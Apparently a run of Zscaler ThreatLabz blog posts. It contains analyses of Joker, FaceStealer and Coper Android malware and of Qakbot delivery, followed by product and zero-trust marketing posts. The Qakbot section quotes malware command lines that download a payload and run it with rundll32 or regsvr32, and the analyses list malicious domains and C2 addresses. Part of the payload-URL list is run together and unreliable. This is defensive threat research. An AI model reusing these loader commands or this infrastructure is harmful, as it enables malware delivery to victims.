Camera Translator - com.haixgoback.outsidetext.languagecameratransla Come Messages - com.itextsms.messagecoming Painting Photo Editor - Rich Theme Message - com.getmanytimes.richsmsthememessenge Quick Talk Message - mesages.qtsms.messenger Advanced SMS - com.fromamsms.atadvancedmmsopp Professional Messenger - com.akl.smspro.messenger Classic Game Messenger - com.classcolor.formessenger.sic Style Message - com.istyle.messagesty Private Game Messages - Timestamp Camera - Social Message - com.colorsocial.message ThreatLabz has discovered over 50 unique Joker downloader apps on the Play Store till now. All of these apps were downloaded over 300k times combined and they typically fall into one of the following common categories: Communication Health Personalization Photography Tools The following is the breakdown of the number of apps per category: The tools and communication were among the most targeted categories covering the majority of the Joker-infected apps. ThreatLabz discovered daily uploads of apps containing the Joker malware indicating the high activity level and persistence of the adversary group. Consistent with previous findings, ThreatLabz latest discoveries belonging to the Joker malware campaign continue to follow similar developer naming patterns and use of familiar techniques. Check out our previous blog Joker Joking in Google Play for a more in-depth analysis of this specific campaign. The following is the technical analysis of the Enjoy Message Joker app: App Name: Enjoy Message Package Name: sms.ienjoy.joysms.message The Joker malware authors develop and release a range of apps from the very complex to incredibly simple. Instead of waiting for apps to gain a specified volume of installs and reviews before swapping for a malware-laced version, the Joker developers have taken to hiding the malicious payload in a common asset file and package application using commercial packers. Serving as one of the primary reasons why these malicious apps often go undetected by antivirus softwares and during evaluation by the Play Store. Most commonly, threat actors disguise the Joker malware in messaging applications that require users to grant escalated access permissions by allowing them to serve as the default SMS app on the user's phone. The malware uses these advanced permissions to carry out its operations. In the Enjoy SMS application, the payload is hidden in the known path but the path itself is obfuscated in the application's class. Fig 1: Obfuscated path of the payload Upon deobfuscation, the path becomes visible in the asset directory "io/michaelrocks/libphonenumber/android/data/PhoneNumberAlternateFormatsProto_53" where payload is residing. The package name of the application is used to derive the hash which is used as the AES decryption key. This key is used to decrypt the payload with an executable(.so) file which should contain the following declared functions. Fig 2: Function/class names of similar known SDKs To deter investigation, the class and method names of the functions appear similar to known SDKs. "onInstall" function in the hidden dropped executable is called at runtime after loading executable by the "system.loadlibrary" function. Fig 3: Implementation of malicious code inside executable As shown above, the executable loads the method ‘Wnjre’ from the ‘com.Brling’ class. The dropped executable hides the payload with Base64 encryption. Fig 4: Base64 encrypted content The second payload downloads a known weaponized Java ARchive (JAR) file as a third payload as shown below. Fig 5: Decrypted payload The following are some examples of common techniques used by Joker Malware: 1. The app confirms if its package is still live on the Google Play Store. Fig 6: Checks Google Play Store to confirm the app is still live. 2. Many Joker apps hide the payload in the assets folder of the Android Package Kit (APK) and creates an ARM ABI executable to avoid detection by most sandboxes which are based on x86 architecture. 3. Joker malware hides payloads with different types of encryption including, XOR, AES, DES, ElGamal which are also commonly used with fake known asset files. Few of them have extensions like JSON, TTF, PNG or database files. In several examples, apps encrypted and hide the malicious payload in the meta-data of the app manifest file. More often, the decryption key is derived from the package name of the app possibly to avoid the additional effort of customizing decryption routines. Fig 7: ELGAMAL encryption Fig 8: DES key derivation from the package name IOCs: http://givehotdog[.]com https://trustcats[.]com http://giveme8[.]com/ https://xjuys[.]oss-accelerate[.]aliyuncs[.]com/xjuys http://139[.]177[.]180[.]78/hell https://xjuys[.]oss-accelerate[.]aliyuncs[.]com/fbhx1 https://xjuys.oss-accelerate[.]aliyuncs[.]com/fbhx2 FaceStealer Malware Facestealer malware was also discovered on the Google Play Store, known for targeting Facebook users with fake Facebook login screens. Once the device is infected, the user is prompted to login to Facebook and can’t use the app without entering their credentials. Upon successful login, the credentials as well as auth tokens are stolen by the malware author. App Name: cam.vanilla.snapp Downloads: 5000 Category: Tools Fig 9: Fake Facebook login screen The fake page shown above, opened by the app injects downloaded javascript from the server using WebView. Fig 10: URL for downloading malicious JavaScript Once enabled, the malware app reaches out to the command and control (C2) server to download the malicious javascript. The URL, https://busynow[.]store/config, is still active and in the latest update, the malware authors added a character to fail the automatic decode of the Base64 encoded string. In the following screenshots, the added extra “W” character will cause the decode failure and revert to plaintext. Fig 11: Base64 decoded As shown in the screenshotbelow, stolen credentials and tokens are sent to the C2 serverwith the help of javascript loaded with malicious code. Fig 12: Shows the "c_url" parameter for a remote C2 stealing facebook credentials. IOCs: busynow[.]store Zs8668[.]com kcoffni[.]xyz Coper Malware Coper is a well known trojan that targets banking applications in Europe, Australia, and South America disguised as a legitimate app in the Google Play Store. Once downloaded, this app unleashes the Coper malware infection which is capable of intercepting and sending SMS text messages, making USSD (Unstructured Supplementary Service Data) requests to send messages, keylogging, locking/unlocking the device screen, performing overly attacks, preventing uninstalls and generally allowing attackers to take control and execute commands on infected device via remote connection with a C2 server. The result of these activities ultimately leads to attackers gaining information and access they can leverage to steal money from victims. App Name: Unicc QR Scanner Package name: com.qrdscannerratedx Sha256: 02499a198a8be5e203b7929287115cc84d286fc6afdb1bc84f902e433a7961e4 Fig 13: Unicc QR Scanner app laced with Coper malware on Google Play Store This app disguises itself as a free QR scanner. Once installed, the app immediately prompts the user to update the app. Fig 14: Screenshots show the process of enabling the malware infection by asking the user to upgrade the app, then prompting them to further grant advanced access permissions to the app in their device settings. Next, the threat actors use a trojan dropper designed to install malware or a backdoor to a device, by leveraging the Google Firebase app developer tool to call-out and receive the URL that will deliver the malicious payload as shown in the screenshot below. Fig 15: Firebase call-out The malware downloads a configuration that includes the URL hosting the new and malicious payload. As shown in the screenshot below, the name of the new payload is set by the android Shared Preferences file. The name of the installed payload also continues to change as well. Fig 16: Shared preferences The newly installed file is a fake Google Play Store app on the device with the package name “com.fromtoo2” that immediately prompts the user to grant escalated accessibility permission and gain full control of the user's phone. In the background, the fake Google Play Store app loads the executable file and calls the predefined MvsEujZ function as further shown and described below. Fig 17: MvsEujZ function called from executable file The MvsEujZ function shown above decrypts a runnable file with a static key found in the executable and prompts the user to grant escalated accessibility permissions at launch. After decrypting with, the Coper code base becomes visible, as shown in the below screenshot. Fig 18: Coper codebase This final payload uses Rivest Cipher 4 (RC4) encryption to hide its malicious signatures and avoid detection. The following screenshot shows the decrypted C2 server addresses used by the Coper malware. Fig 19: Screenshot shows the decoded contents of the payload In the case that the Virtual Network Computing (VNC) service for remote-control access is not available, the malware authors leverage the android TeamViewer app to monitor the screen of the infected device as shown in the screenshot below. Fig 20: Screenshot shows the code enabling attackers to use TeamViewer to monitor the screen of a device remotely Finally, this last screenshot shows the backend of WebView where malicious javascript is loadedto enable the attackers to take full control through a C2 server connection and execute the actions they need to compromise and ultimately extort the victim. Fig 21: Shows attackers leveraging the android developer app WebView IOCs: raw[.]githubusercontent[.]com/k6062019/qq/main/porc[.]apk abashkinokabashkinok[.]top/ZmEwY2ZmZWYzN2Mw/ asqwnbvb[.]shop/ZmEwY2ZmZWYzN2Mw/ barabashkinok[.]top/ZmEwY2ZmZWYzN2Mw/ ccnfddbvb[.]pics/ZmEwY2ZmZWYzN2Mw/ eendfbvb[.]sbs/ZmEwY2ZmZWYzN2Mw/ nbervbwe[.]monster/ZmEwY2ZmZWYzN2Mw/ nbrtvbsd[.]mom/ZmEwY2ZmZWYzN2Mw/ nbvb3954[.]fun/ZmEwY2ZmZWYzN2Mw/ nbvbvber[.]makeup/ZmEwY2ZmZWYzN2Mw/ nbvmnbbn[.]lol/ZmEwY2ZmZWYzN2Mw/ nbvvvb[.]hair/ZmEwY2ZmZWYzN2Mw/ nterospbnvdos[.]site/ZmEwY2ZmZWYzN2Mw/ nterospusios[.]shop/ZmEwY2ZmZWYzN2Mw/ ntospusios[.]top/ZmEwY2ZmZWYzN2Mw/ nytbvb[.]one/ZmEwY2ZmZWYzN2Mw/ qqnnffbvb[.]space/ZmEwY2ZmZWYzN2Mw/ qwnnnbvb[.]skin/ZmEwY2ZmZWYzN2Mw/ vbfdnbvb[.]online/ZmEwY2ZmZWYzN2Mw/ vntososupplsos[.]live/ZmEwY2ZmZWYzN2Mw/ wwereffnbvb[.]store/ZmEwY2ZmZWYzN2Mw/ xxfdnbvb[.]quest/ZmEwY2ZmZWYzN2Mw/ What Android user’s can do to avoid infection by these malwares: Don’t install unnecessary, untrusted, and un-vetted apps on your mobile device. Stick to the sources and providers you know and trust. Look for apps with very high install numbers and positive reviews. Seek out apps that are recommended by sources you trust and also feature lots of installs and positive reviews. Don't grant notifications listener permissions and escalated accessibility permissions to apps you don't fully trust. The notification listener service enables the package name of the app to be added to the enabled_notification_listeners provider. This enables read notifications and it includes critical access notifications like auto-generated one-time password/pin (OTP). Avoid installing messaging apps if possible or use extreme caution and take the time to research and ensure that the app is well known and reviewed. Even when a link comes from a trusted friend asking you to download a messaging app, consider the possibility that your friend’s device may be compromised by malware and stop to confirm with them first, and then still take the time to conduct your own research and verify the app has a well-established and safe reputation before installing. Messaging apps require Read_SMS permission as their functionality and can easily leverage that permission to gain information including a key OTP they can use to further compromise victims. If you become a victim of a malicious app from the Play Store, inform Google about it immediately through the support options in your play Store app. It is important that we work together to identify, flag, and remove malicious apps from our preferred app stores as soon as possible to limit the spread of malware and inhibit the success of threat actors. If you are responsible for protecting your corporate network, deploy Zscaler’s zero trust architecture to protect your users and prevent further compromise if a malicious app is downloaded by a user on their personal device. Mon, 18 Jul 2022 11:01:36 -0700 Viral Gandhi Rise in Qakbot attacks traced to evolving threat techniques Active since 2008, Qakbot, also known as QBot, QuackBot and Pinkslipbot, is a common trojan malware designed to steal passwords. This pervasive threat spreads using an email-driven botnet that inserts replies in active email threads. Qakbot threat actors are also known to target bank customers and use the access they gain through compromised credentials to spy on financial operations and gain valuable intel. Summary Qakbot has been a prevalent threat over the past 14 years and continues to evolve adopting new delivery vectors to evade detection. Zscaler Threatlabz has discovered a significant uptick in the spread of Qakbot malware over the past six months using several new techniques. Most recently, threat actors have transformed their techniques to evade detection by using ZIP file extensions, enticing file names with common formats, and Excel (XLM) 4.0 to trick victims into downloading malicious attachments that install Qakbot. Other more subtle techniques are being deployed by threat actors to prevent automated detection and raise the odds that their attack will work, including obfuscating code, leveraging multiple URLs to deliver the payload, using unknown file extension names to deliver the payload, and altering the steps of the process by introducing new layers between initial compromise, delivery, and final execution. Embedded as commonly-named attachments, Qakbot leverages ZIP archive file having embedded files such as Microsoft Office files, LNK, Powershell, and more. The screenshot in Fig. 1 below reveals a snapshot view of the spikes in Qakbot activity observed over the past six months. Figure1: Qakbot monitored during last 6 months in Zscaler Threatlabz Zscaler automatically identifies and blocks files containing Qakbot malware for our customers, and provides them with the best possible solution to manage this evolving threat. As an extra precaution against these types of threats, Zscaler recommends that organizations formally train users not to open email attachments sent from untrusted or unknown sources and encourage users to verify URLs in their browser address bar before entering credentials. The Zscaler ThreatLabz team will continue to monitor this campaign, as well as others to help keep our customers safe and share critical information with the larger SecOps community to help stop the spread of active threats like Qakbot and protect people everywhere. The following sections dive into an in-depth analysis of this evolving threat and provide actionable indicators that security professionals can apply to identify and block Qakbot in their environments. Technical analysis of evolving Qakbot techniques ThreatLabz has observed threat actors using various different file names to disguise attachments designed to deliver Qakbot. Using common file naming formats that include a description, generated numbers, and dates, the files feature common keywords for finance and business operations, including compensation figures, metric reports, invoices and other enticing datasets. To the unsuspecting victim, these types of files may either appear like everyday items for business as usual or as a rare opportunity to look at data they would not normally see. Either way, the victim is likely to fall for the sense of urgency at a fresh data set or request and click the file to learn more about what is inside and how it pertains to them. Malicious file name examples: Calculation-1517599969-Jan-24.xlsb Calculation-Letter-1179175942-Jan-25.xlsb ClaimDetails-1312905553-Mar-14.xlsb Compensation-1172258432-Feb-16.xlsb Compliance-Report-1634724067-Mar-22.xlsb ContractCopy-1649787354-Dec-21.xlsb DocumentIndex-174553751-12232021.xlsb EmergReport-273298556-20220309.xlsb Payment-1553554741-Feb-24.xlsb ReservationDetails-313219689-Dec-08.xlsb Service-Interrupt-977762469.xlsb Summary-1318554386-Dec27.xlsb Analyzing the de-obfuscated code exposes how these malicious attachments use XLM 4.0 to hide their macros and evade detection by static analysis tools and automated sandboxes. Looking back over the past six months, our researchers observed a different kind of emails templates and standardized Office templates which are being used and changed only slightly in nearly all of the analyzed Qakbot samples. Email Templates: Figure 2 : Standard Email and Office templates used for Qakbot delivery in last six months The following section provides a month by month overview of changes observed in Qakbot samples from December 2021 - May 2022: Attack Chain Figure 3: Diagram of Qakbot delivery and execution via Microsoft Office attachments December 2021: Qakbot XLM 4.0 snippet [Md5: 58F76FA1C0147D4142BFE543585B583F] Once the user clicks “Enable Content” to view the attachment, the macro is activated to look for a subroutine with a pre-defined function, in this case starting with auto_open777777. In the next step of the sequence, the URLDownloadToFile function is imported and called to download the malicious Qakbot Payload and drop it into the C:\ProgramData\ location on the victim’s machine with the filename .OCX which is actually Qakbot DLL. Then WinAPI EXEC from Excel4Macro directly executes the malicious payload or loads the payload using regsvr32.exe. Figure 4: Qakbot XLM 4.0 snippet from December 2021 January 2022: Qakbot XLM 4.0 snippet [Md5: 4DFF0479A285DECA19BC48DFF2476123] In the following snippet it executes macro code which is present in the cells from a hidden sheet named ‘EFFWFWFW'. This creates a REGISTER and consistently calls functions to be performed, except in this example the threat actor has evolved the action to avoid detection via obfuscation. Figure 5: Qakbot XLM 4.0 snippet from January 2022 February 2022: Qakbot XLM 4.0 snippet [Md5: D7C3ED4D29199F388CE93E567A3D45F9] Malware author leave code mostly unmodified. Create a folderOne using CreateDirectoryA WinAPI as shown in the following snapshot “C:\Biloa”. Figure 6: Qakbot XLM 4.0 snippet from February 2022 March 2022: Qakbot XLM 4.0 snippet [Md5: 3243D439F8B0B4A58478DFA34C3C42C7] Observed change in the file system persistence level. Change in payload drop location from C:\ProgramData\ to C:\Users\User\AppData\Local\[random_folder_name]\random.dll Less obfuscation and code is much more readable. Used option-s with regsvr32.exe so that it can install silently without prompting any kind of message. Figure 7: Qakbot XLM 4.0 snippet from March 2022 April 2022: XLM 4.0 snippet [Md5: 396C770E50CBAD0D9779969361754D69] A new change is the observation of fully de-obfuscated code in Qakbot attachments. A similarity observed across Qakbot variants is the use of multiple URLs that can deliver the malicious payload, so that if any one URL goes down or is blocked, then the payload can still be delivered by another available URL. Additionally, it is common to see threat actors trying to evade detection from automated security scans by using unknown extensions on dropped payloads such as OCX, ooccxx, .dat, .gyp, and more. Figure 8: Qakbot XLM 4.0 snippet from April 2022 May: Qakbot XLM 4.0 snippet [Md5: C2B1D2E90D4C468685084A65FFEE600E] Observed change in the filename to ([0-9]{2,5}\.[0-9]{4,12}\.dat]. Additionally, Instead of 4-5 different download payload URLs, only one Qakbot download URL is identified. Figure 9: Qakbot XLM 4.0 snippet from May 2022 Figure 10: Zscaler Sandbox Report Qakbot deliver by Malicious office attachment Spreading factor through LNK files: Attack Chain Figure 11: Qakbot delivery and execution through LNK file a) May 2022: Qakbot snippet of LNK file Observed increase using the shortcut LNK filetype source with names like: report[0-9]{3}\.lnk report228.lnk report224.lnk Observed change using powershell.exe to download the malware payload. Observed change and a clear sign of Qakbot evolving to evade updated security practices and defenses by loading the dll payload through rundll32.exe instead of regsvr32.exe. Argument: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit iwr -Uri -OutFile $env:TEMP\766.dll;Start-Process rundll32.exe $env:TEMP\766.dll,NhndoMnhdfdf b) June 2022: Qakbot snippet of LNK file Observed change in execution flow and name of file name both change on LNK file type. Regsvr32.exe used while qakbot dll loading and injects to explorer.exe as well for communication to command and control server. Observed file names using the {5[0-9]{7,10}_[0-9][6,8]}\.lnk} LNK file type: Argument: 'C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe /q /c echo 'HRTDGR' && MD "%ProgramData%\Username" && curl.exe -o %ProgramData%\Username\filename.pos && ping -n 2 localhost && echo "MERgd" && echo "NRfd" && regsvr32 'C:\ProgramData\Username\filename.pos' Through command prompt it downloads a payload and drops the file on the victim’s machine with a curl command. Here are some observed examples of the process: CMD.EXE : /q : Turns the echo off. /c : Carries out the command specified by string and then stops. CURL.EXE : /o: Write to file After that it loads the downloaded dll payload through regsvr32.exe and injects into the explorer.exe. Then performs further operations, including: Checks for the presence of antivirus software. Creates a RUN key for persistence in the system. Creates scheduled tasks to execute the payload at a specific time. Figure 12: Zscaler Sandbox Report Qakbot deliver by LNK More details on these findings are covered in the ThreatLabz Qakbot vectors blog. Downloaded Qakbot DLL: 529fb9186fa6e45fd4b7d2798c7c553c from above mentioned LNK file. The entry point of the executable is fully obfuscated using duplicate MOV operations. Figure 13: Obfuscated entry point The following screenshot shows junk code obfuscating the script used to decode the payload. Figure 14: Code snippet for decoding the payload Checks for Windows Defender Emulation using WinAPI GetFileAttributes “C:\INTERNAL\__empty”. Figure 15: Payload checking GetFileAttributesW The sample also uses some flags like SELF_TEST_1 which appear to be for debugging purposes. Figure 16: Setting flag for debugging purpose Figure 17: Zscaler Sandbox report for Qakbot DLL Zscaler's multilayered cloud security platform detects indicators, as shown below: LNK.Downloader.Qakbot VBA.Downloader.Qakbot The following details can be found in the Qakbot configuration file which we examined connecting to the server through explorer.exe. BOTNET ID: Obama188 [+] C2 IPs: Indicators of Compromise [+] Payload URLs: anukulvivah.comnobeltech[.] griffinsinternationalschool.intierrasdecuyo[.] tajir[.]comdocumentostelsen[.]com wrcopias[.]com.brls[.] dk-chic[.]combendhardwoodflooring[.]com stalwartnv[.]comdelartico[.]com newportresearchassociates[.]comjindalfabtex[.]com softwarela.orgasesorescontables[.] segurabr[.] hams.psalrabbat[.]com glistenworld[.]comsonalifecare[.]com stuttgartmed[.] act4dem.netglistenworld[.]com ananastours[.]comhostingdeguatemala[.]com gmsss45c[.]comasiatrendsmfg[.]com facturamorelos[.]comjnpowerbatteries[.]com minimean[.]com1031taxfreexchange[.]com pbxebike[.]comhigradeautoparts[.]com parkbrightworldwideltd[.] baalajiinfotechs[.]commomoverslegypte[.]com recetasparaelalmapanama[.] wecarepetz[.]com.brbrothersasian[.]com knapppizzabk[.]comwecarepetz[.] jeovajirelocacao[.] bouncehouserentalmiami.netmahasewanavimumbai[.]com hotelsinshillong.inbrothersasian[.]com tamiltechhints[.]comitaw-int[.]com tvtopcultura[.]com.brmadarasapattinam[.]com desue.mxautocadbeginner[.]com ifongeek[.]comtunaranjadigital[.]com avaniamore[.]comthecoursecreators[.]com thecoursecreators[.]comdrishyamopticals[.]com thewebinarchallenge[.]comiammyprioritylive[.]com erekha.invegascraftbeertour[.]com rommify.orgpbsl[.] pbsl[.] outsourcingmr[.]comofferlele[.]com courtalamarivuthirukovil.orgelchurritorojas[.]com jinglebells.ngthebrarscafe[.]com bigtv3d.inretroexcavaciones[.]com aimwithnidhi.invizionsconsulting[.]com gaurenz[.]comamarelogema[.] wiredcampus.inretroexcavaciones[.]com elchurritorojas[.]comglobalwomenssummit2020[.]com byonyks[.]comwfgproduction[.]com wfgproduction[.] reachprofits[.] vegascraftbeertour[.]comnightsclub[.]com assistenciatecnicaembh24h[.]com.brtheinfluencersummit2021[.]com grupoumbrella[.]com.brbjfibra[.]com fra[.]com.arthewebinarstore[.]com wlrinformatica[.]com.brminahventures[.]com alternativecareers.inwvquali[.] longwood-pestcontrol[.] viasalud.mxecsshipping[.]com misteriosdeldesierto.pelgfcontabilidade[.] mariebeeacademy[.]commuthumobiles[.]com teamone[.] wiredcampus.inteamone[.] furnitureion[.]comekofootball[.]com comunidadecristaresgate[.]com.bryqsigo[.]com wiredcampus.intheinfluencerlaunch[.]com mi24securetech[.] attalian[.]comrudrafasteners[.]com filmandtelevisionindia[.]comcloudberrie[.]com brikomechanical[.]comideiasnopapel[.] neovation.sgatozinstrument[.]com tecnobros8[.] brikomechanical[.]comleaoagronegocios[.] sonhomirim[.]com.brwlrinformatica[.] narendesigns[.]comsla[.] rstkd[.]com.brdelacumbrefm[.]com leaoagronegocios[.][.] www.centerplastic[.]com.brpawnest[.]com leaseicemachine[.]comsegiaviamentos[.] virtualexpo.cactusfuturetech[.] amicodelverde[.]comhunbuzz[.]com prova.gaia.srlprodotti.curadelprato[.]com prodotti.curadelprato[.]comdomenico[.] anukulvivah[.]comahmedabadpolicestories[.]com rylanderrichter[.]comtajir[.]com searchgeo.org4md-uae[.]com matjarialmomayz[.]comformularapida[.] carnesecaelpatron[.]com.mxbengallabourunion[.]com alphanett[.]com.brragvision[.]com[.] gph.lkabingdonhomes[.]com impexlanka[.]comludoi[.] mufinacademy[.]com1031oilgasexchange[.]com indexpublicidade[.]com.brhullriverinternationalltd[.]com srgsdelhiwest[.]comproyectostam[.]com[.]com brunocesar.meonlywebsitemaintenance[.]com lbconsultores[.] guitarconnectionsg[.]comguestpostmachine[.]com[.]com waitthouseinc.orgofferlele[.]com cuddlethypet[.]comsrimanthexports[.]com espetinhodotom[.]comluxiaafinishinglab[.]com greyter[.]commoodle-on[.]com niramayacare.inmakazadpharmacy[.]com netleasesale[.]comnathanflax[.]com erimaegypt[.]comclashminiwiki[.]com topfivedubai[.] profitsbrewingnews[.]commotobi[.] polistirolo.orgpalashinternationals[.]com[.] mzdartworkservicesllc[.]comwalmondgroup[.]com saffroneduworld[.]comlacremaynaty[.] ifongeek[.]comgrowscaleandprofit[.]com getishdonelive[.]cominfluencerlaunches[.]com apk.hap.incalldekesha[.]com vortex.cmspeakatiamp[.]com thewebinarclinic[.]comthewebinarchecklist[.]com sathyaunarsabha.orgoutsourcingmr[.]com webdoweb[.] future-vision[.]com.trbrunalipiani[.] ecotence.xyznimbus[.] hearingaidbihar[.]combarcalifa[.] oladobeldavida[.] alternativecareers.inrsbnq[.]com chezmarblan[.] devconstech[.]comcumipilek[.]com daptec[.] indiacodecafe[.]comecsshipping[.]com assimpresaroma.itcampandvillas[.]com styleavail[.]comomtapovan[.]com programandoavida[.]com.brindiacodecafe[.]com bruno-music[.] agbegypt[.] 1031wiki[.] nimbus[.]com.qavivanaweb[.] shareyourcake.orgprotocolostart[.]com acertoinformatica[.] devconstech[.] acertoinformatica[.]com.brrumbakids[.]com haskekudla[.]comkraushop[.]com Mahalaxmibastralayanx.inchuckdukas[.]com [+] Hashes XLSB: 58F76FA1C0147D4142BFE543585B583F 4DFF0479A285DECA19BC48DFF2476123 D7C3ED4D29199F388CE93E567A3D45F9 3243D439F8B0B4A58478DFA34C3C42C7 396C770E50CBAD0D9779969361754D69 C2B1D2E90D4C468685084A65FFEE600E LNK: 54A10B41A7B12233D0C9EACD11036954 E134136D442A5C16465D9D7E8AFB5EBE 7D0083DB5FA7DE50E620844D34C89EFC C2663FCCB541E8B5DAA390B76731CEDE Qakbot: 529FB9186FA6E45FD4B7D2798C7C553C [+] Filenames: Calculation-1517599969-Jan-24.xlsb Calculation-Letter-1179175942-Jan-25.xlsb ClaimDetails-1312905553-Mar-14.xlsb Compensation-1172258432-Feb-16.xlsb Compliance-Report-1634724067-Mar-22.xlsb ContractCopy-1649787354-Dec-21.xlsb DocumentIndex-174553751-12232021.xlsb EmergReport-273298556-20220309.xlsb Payment-1553554741-Feb-24.xlsb ReservationDetails-313219689-Dec-08.xlsb Service-Interrupt-977762469.xlsb Summary-1318554386-Dec27.xlsb W_3122987804.xlsb A_1722190090.xlsb AO_546764894.xlsb Nh_1813197697.xlsb LM_4170692805.xlsb report228.lnk report224.lnk Tue, 12 Jul 2022 14:48:06 -0700 Tarun Dewan Join Zscaler at AWS re:Inforce 2022 The re:Inforce conference is one of AWS’s marquee events primarily focused on cybersecurity. At this annual event, you’ll be able to hear from experts in the field, learn best practices, and discover the latest advances in security to protect your organization from cybersecurity threats. Zscaler will be at booth #504. Visit us to learn how Zscaler for Workloads, which includes Workload Communications and Posture Control, can protect your cloud workloads from build-time to runtime. Workload Communications and Posture Control Overview What is Workload Communications? Workload Communications allows organizations to utilize Zscaler Internet Access (ZIA) and Zscaler Private Access (ZPA) for their cloud workloads. With Workload Communications you can connect your cloud workloads to any destination–whether it is to the internet or to another cloud workload located in a different region–with secure connectivity using the Zero Trust Exchange. It will help you eliminate your network attack surface, prevent the lateral movement of threats, and reduce the risk of data breaches. What is Posture Control? Posture Control, our CNAPP solution at Zscaler, reimagines cloud-native application security by using a 100% agentless solution that leverages machine learning to correlate hidden risks caused by the combination of misconfigurations, threats, and vulnerabilities across the entire cloud stack. It empowers security, development, and DevOps teams to efficiently collaborate and discover, prioritize and remediate risks in cloud infra and applications as early as possible in the development lifecycle. What to expect at AWS re:Inforce Zscaler will be providing opportunities to Schedule one-on-one meetings with Zscaler product leaders who are driving the direction of Zscaler for Workloads. View live demos that showcase the capabilities and benefits Zscaler for Workloads can deliver to your organization. Next Steps To learn more and to sign up, please visit our registration page here. We look forward to meeting you at AWS re:Inforce 2022! Wed, 13 Jul 2022 08:00:01 -0700 Franklin Nguyen Applying Knowledge Graphs to Public Cloud Security Graph theory has an interesting history, dating back to the 1700s when Leonhard Euler, who you might remember from Differential Equations in college, solved the Konigsberg bridge problem. The bridge problem involved traversing each of seven bridges arranged around an island and a fork in a river without crossing any of the bridges twice. If this question were posed today, it would be shared around on social media with half of the respondents incorrectly claiming to have solved it and the other half commenting, “who cares?” Regardless, Euler proved that there is no such path over each bridge, thereby proving the first theorem in graph theory. Understanding risk requires analyzing relationships What does any of this have to do with security and why is it on the Zscaler blog? Well, everything that we do in information security revolves around connections. The most obvious example of this is network connectivity. User A accesses Virtual Machine B which has access to Data Store C. But beyond simple network connectivity is a whole host of relationships amongst entities that can’t be captured simply by analyzing network configurations. Cloud permissions models, unpatched vulnerabilities, and cloud infrastructure misconfigurations are but a few of the many variables that create either desirable or undesirable connections across entities. A simple analysis of discrete weaknesses in a system, such as your public cloud footprint, is not sufficient to understand the risk that your organization faces from bad actors. Much like the Konigsberg bridge problem, attackers will traverse a series of weaknesses (bridges) on their quest to get access to their target. Enter graph theory, knowledge graphs, and our old buddy, Euler. A knowledge graph illustrates the relationships between various entities. Knowledge graphs are commonly stored in an increasingly popular type of database known as a graph database. In many implementations, nice visualizations are built to make it easy for a human to see and understand the data structure stored in the database. Applying knowledge graphs to public cloud security Let’s take a look at a simple example. In an AWS deployment, we have an EC2 virtual machine running Linux, and, after a periodic agentless scan of that asset, it was determined that it had two unpatched vulnerabilities with a “critical” CVSS score. The question immediately becomes, “is this something that our team needs to act on immediately?” With no context around the relationships between that EC2 VM and the broader set of entities in this cloud environment, it’s impossible to tell whether these vulnerabilities represent a risk to the organization or not. But armed with the knowledge graph, two things become possible. First, the system can correlate across a broad range of weaknesses to apply a score and prioritization to the actual risk, allowing you to quickly compare this issue to the thousands of other issues facing your organization. This ensures that even the most resource-starved information security teams are always focused on the issues that will have maximum impact on risk mitigation. Second, the team investigating the risk can quickly and easily identify the series of weaknesses that attackers are likely to exploit, typically mapped to a framework like Mitre ATT&CK, and systematically eliminate those weaknesses without trying to correlate information and alerts from several independent sources. In this example from Zscaler’s CNAPP, Posture Control, we see the full spectrum of relationships that were determined by the underlying graph database and displayed for the user. Not only do we have the asset with unpatched vulnerabilities, but we can quickly determine network connectivity for the VM, who (and what) can access the VM, and what the VM itself can access. Fig: Posture Control - Risk Graph View This data is leveraged directly in calculating overall risk and prioritizing this amongst other weaknesses in the organization’s multi-cloud footprint. Fig: Risk Prioritization If these capabilities sound like something you could leverage in your organization, I would encourage you to reach out and take a closer look at Posture Control, Zscaler’s Cloud Native Application Protection Platform. Talk to our experts or schedule a demo. Wed, 13 Jul 2022 09:00:01 -0700 Rich Campagna Zero Trust Device Pillar: Ensuring the Device is More Trustworthy Than the User This post is the fourth in a series examining how Zscaler supports the move to zero trust as defined by CISA. The Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA) Zero Trust Maturity Model defines a device as “any hardware asset that can connect to a network, including internet of things (IoT) devices, mobile phones, laptops, servers, and others.” In a traditional security environment, the device is not always considered when granting access, identity is the main determinant as to what can be accessed. Where there is consideration of a device it is usually a blanket block – no non-agency devices allowed access. This complicates the ability of users to Bring their Own Device (BYOD), requiring rigorous checks of personal devices before they can be used for agency work. It also adds to the burden on IT to inventory and secure all of these devices – agency-owned and otherwise. A Zero Trust architecture moves data access from a model of no consideration of the device accessing data to using real-time risk analytics to grant access every time a connection is requested. Securing every device and endpoint is a foundational element of Zero Trust, but it requires looking at the concept of “securing” a bit differently. In Zero Trust, making a device secure does not mean one-time vetting and software downloading. Instead, it is a constant review of the device and its activity. Even if the device is attached to a trusted user, it could have malicious code on it, unbeknownst to that trusted user, and cause an incident. The user and the device have to be monitored constantly for anomalous behavior – connections being made that have not been made before, opening or closing certain applications. To do this, agencies need to establish and enforce a baseline of device security protections and have visibility into the devices themselves to ensure compliance. Focusing on the endpoint allows for device compliance and integrity to be the driver of access control decisions. Zscaler performs several device validation checks today and is easily integrated with Endpoint Detection and Response (EDR) solutions and device management platforms to assess device risk. Creating a device fingerprint In order for a device to gain access via Zscaler, we collect a “fingerprint” for that device upon enrollment. This can include hardware information like a serial number on a battery or hard drive. This step ensures that a device cannot be cloned. This fingerprint is a critical part of the device authentication step in the CISA model, looking beyond certificates and confirming the device itself. Criticality of cloud-based For the granularity required by Zero Trust, a cloud-based solution is the only realistic method of securing devices. Devices can travel anywhere in the world and an on-premise solution cannot follow that device to do the continuous checks needed to ensure the baseline remains consistent. Because the threat landscape is constantly changing, software updates need to be pushed to the device quickly and constantly monitored. When a Zscaler user connects, we validate not only the device but the Zscaler software that is being used to ensure they are using the most up to date version. Updates are immediately pushed before the user can connect. Continuous compliance A key difference between traditional security and Zero Trust is the continual monitoring. In a Zero Trust environment the agency constantly monitors and validates the device security and posture. This includes user behavior. Leveraging partners like Crowdstrike and Forescout, Zscaler user and device behavior is monitored to ensure continual compliance with baselines and with agency policy. The information collected by Zscaler is continually pushed to EDR, SIEM, and SOAR solutions for any needed action to lock down devices and users behaving outside of policy or their baseline. Tying access to the device and the user creates a much stronger confidence that the right person is getting access to the right information in the appropriate way. Zscaler’s solution ensures that devices can be continually vetted upon each connection and remain under watch while accessing data, enabling a ZTA that applies risk scores to how and when access is granted based on real-time threat and situational data. 